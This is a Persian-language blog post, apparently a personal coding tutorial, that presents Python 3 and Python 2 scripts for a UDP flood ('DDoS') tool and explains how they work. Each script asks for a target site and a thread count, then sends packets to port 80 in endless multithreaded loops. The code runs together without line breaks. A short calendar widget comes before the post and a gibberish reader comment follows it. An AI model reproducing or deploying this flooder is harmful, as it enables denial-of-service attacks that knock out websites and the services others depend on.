ش | ی | د | س | چ | پ | ج |
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
سلام دوستان در این پست می خواهیم با Python یک دیداسر ساده بسازیم.
قبلاَ در این پست یک دیداسر با سی پلاس پلاس ساخته بودیم. امیدوارم با حملات DDOS آشنا باشید.
#Python 3#Mehrad Pooryoussof#www.CodeWriter21.blogsky.comimport timeimport socketimport sysimport _threadsite = input("Enter your site url => ")thread_count = input("Enter your thread => ")ip = socket.gethostbyname(site)UDP_PORT = 80MESSAGE = "CodeWriter21"print("UDP target IP:", ip)print("UDP target port:", UDP_PORT)time.sleep(3)def ddos(i):while 1:sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT))print("Packet Sent")for i in range(int(thread_count)):try:_thread.start_new_thread(ddos, ("Thread-" + str(i),))except KeyboardInterrupt:sys.exit(0)while 1:pass
در کد بالا ابتدا آدرس سایت و تعداد Thread را می گیریم و در متغیر های site و thread_count قرار می دهیم. سپس آدرس را به آی پی تبدیل می کنیم و در متغیر ip ذخیره می کنیم. در متغیر UDP_PORT مقدار 80 که قرار است پورت مورد دی داس ما باشد را قرار می دهیم. پس از این آی پی و پورت را چاپ می کنیم و 3 ثانیه برنامه را متوقف می کنیم.
در تابع ddos یک حلقه بی پایان داریم که داخل آن یک socket تعریف می کنیم و یک پاکت ارسال می کنیم و با چاپ پیام اطلاع می دهیم.
حلقه for به تعداد thread_count اجرا می شود و هر بار تابع دیداس را در یک thread جدید اجرا می کند.
این هم کد برای کسانی که با Python2 کار می کنند.
#Python 2#Mehrad Pooryoussof#www.CodeWriter21.blogsky.comimport timeimport socketimport sysimport threadsite = raw_input("Enter your site url => ")thread_count = raw_input("Enter your thread => ")ip = socket.gethostbyname(site)UDP_PORT = 80MESSAGE = "CodeWriter21"print "UDP target IP:", ipprint "UDP target port:", UDP_PORTtime.sleep(3)def ddos(i):while 1:sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.sendto(MESSAGE, (ip, UDP_PORT))print"Packet Sent"for i in xrange(int(thread_count)):try:thread.start_new_thread(ddos, ("Thread-" + str(i),))except KeyboardInterrupt:sys.exit(0)while 1:pass
تا کدی دیگر خدانگهدار
نئرتلصختقهتلتخمرلتقثمنتلقثتلمتثقنمتملقتقثنملقتمنثقاهختقثختقمنتثمتمثنلقتشقثهخنقثتامهثتنتلمهاتمهلتمنقتلمتقل
سلام پشمک عزیز لطفا مطالب پر معنی تری در نظرات قرار دهید